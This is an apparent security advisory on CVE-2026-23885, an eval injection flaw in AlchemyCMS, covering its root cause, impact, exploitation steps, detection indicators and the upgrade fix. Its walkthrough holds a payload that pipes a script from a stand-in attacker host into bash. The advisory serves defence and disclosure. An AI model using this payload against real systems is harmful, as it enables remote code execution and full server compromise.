CVE-2026-23885: 
Ruby vulnerability analysis and mitigation

CVE-2026-23885 is an eval injection vulnerability (CWE-95) in AlchemyCMS, an open-source Ruby on Rails CMS engine, that allows authenticated attackers to execute arbitrary system commands on the host OS. The vulnerability was discovered via manual security audit and disclosed on January 19, 2026. It affects all versions of alchemy_cms prior to 7.4.12 (7.x branch) and prior to 8.0.3 (8.x branch, starting from 8.0.0) (GitHub Advisory). The CVSS v3.1 base score is reported as 9.9 (Critical) by Feedly/NVD, though the GitHub advisory itself rates it as Moderate (6.4) with a local attack vector, reflecting differing assessments of exploitability preconditions (GitHub Advisory, Feedly).

The root cause is improper neutralization of directives in dynamically evaluated code (CWE-95): the Alchemy::ResourcesHelper#resource_url_proxy method in app/helpers/alchemy/resources_helper.rb (line 28) passes the resource_handler.engine_name attribute directly to Ruby's eval() function without sanitization. The code even explicitly suppressed the relevant security linter warning with # rubocop:disable Security/Eval, indicating the risk was known but unmitigated (GitHub Advisory). The engine_name value is sourced from module definitions that can be influenced by administrative configurations, meaning an attacker with admin-level access (or local file access to the project) can inject arbitrary Ruby code — including system() calls — into the evaluated string. The fix replaces eval(resource_handler.engine_name) with public_send(resource_handler.engine_name), which restricts execution to defined methods rather than arbitrary code (Commit 55d03ec, Commit 563c4ce).

Successful exploitation allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary operating system commands as the web application's service account, resulting in full system compromise. This encompasses complete confidentiality loss (data theft, credential harvesting), integrity loss (file modification, backdoor installation), and availability loss (service disruption). The scope change noted in the CVSS vector reflects that exploitation can impact resources beyond the CMS itself, enabling lateral movement within the hosting environment (GitHub Advisory, Feedly).

A public proof-of-concept exploit is available on GitHub (published January 20, 2026, by researcher TheDeepOpc), and the GitHub advisory itself includes a standalone Ruby PoC demonstrating direct exploitability of the eval sink (PoC GitHub, GitHub Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.047% (0.000470), indicating a currently low probability of widespread exploitation. Exploitation requires either authenticated administrative access to the CMS or local file access to the Alchemy project to manipulate the module configuration file (Feedly).

1. Gain Administrative Access: Obtain authenticated access to the AlchemyCMS admin panel, either through compromised credentials, phishing, or another vulnerability. Alternatively, gain local file system access to the Alchemy project directory.
2. Identify the Vulnerable Configuration Point: Locate the module configuration file that defines engine_name for a resource handler. This is a Ruby module definition that AlchemyCMS loads to determine which Rails engine proxy to use for resource URL generation.
3. Inject Malicious Payload into engine_name: Modify the module configuration (via admin interface or direct file access) to set engine_name to a malicious Ruby string, such as: system('curl http://attacker.com/shell.sh | bash'); 'main_app'. The trailing 'main_app' ensures the method returns a valid value to avoid raising errors.
4. Trigger the Vulnerable Code Path: Navigate to or trigger any admin resource view that calls Alchemy::ResourcesHelper#resource_url_proxy with the manipulated resource handler. This causes the application to execute eval(resource_handler.engine_name) at resources_helper.rb line 28.
5. Achieve Remote Code Execution: The injected system() call executes on the host OS as the Rails application's service account, enabling reverse shell establishment, data exfiltration, or further lateral movement (GitHub Advisory, PoC GitHub).

• Logs: Rails application logs showing unexpected errors or unusual method calls originating from app/helpers/alchemy/resources_helper.rb; web server access logs with admin resource requests immediately preceding anomalous system activity.
• Process: Unexpected child processes spawned by the Ruby/Rails process (e.g., bash, sh, curl, wget, python, nc) — particularly those not associated with normal CMS operations.
• File System: Newly created files in world-writable directories (e.g., /tmp/) such as the PoC artifact /tmp/alchemy_rce_verified; unexpected web shells, cron jobs, or SSH authorized_keys modifications; altered module configuration files containing non-standard engine_name values with Ruby code syntax.
• Network: Outbound connections from the Rails application server to unknown external IPs or domains, especially on non-standard ports; DNS lookups for attacker-controlled infrastructure initiated by the web process (GitHub Advisory).

Upgrade AlchemyCMS to version 7.4.12 (for 7.x installations) or 8.0.3 (for 8.x installations), which replace the unsafe eval() call with public_send() in resource_url_proxy (v7.4.12 Release, v8.0.3 Release). No official configuration-based workaround is provided; upgrading is the only recommended remediation. As interim hardening measures, restrict administrative access to the CMS to trusted users only, monitor for suspicious process execution from the Rails service account, and consider network segmentation to limit the blast radius of potential exploitation (GitHub Advisory).

The vulnerability was credited to researcher TheDeepOpc, who also published a public PoC on GitHub shortly after disclosure (PoC GitHub). A security blog post on infinitsec.net covered the authenticated RCE angle, and undercodetesting.com published a write-up framing the discovery as a researcher's first CVE (Feedly). The GitHub advisory was rated "Moderate" by the AlchemyCMS maintainers due to the prerequisite of admin or local file access, which tempered broader community alarm despite the high theoretical impact.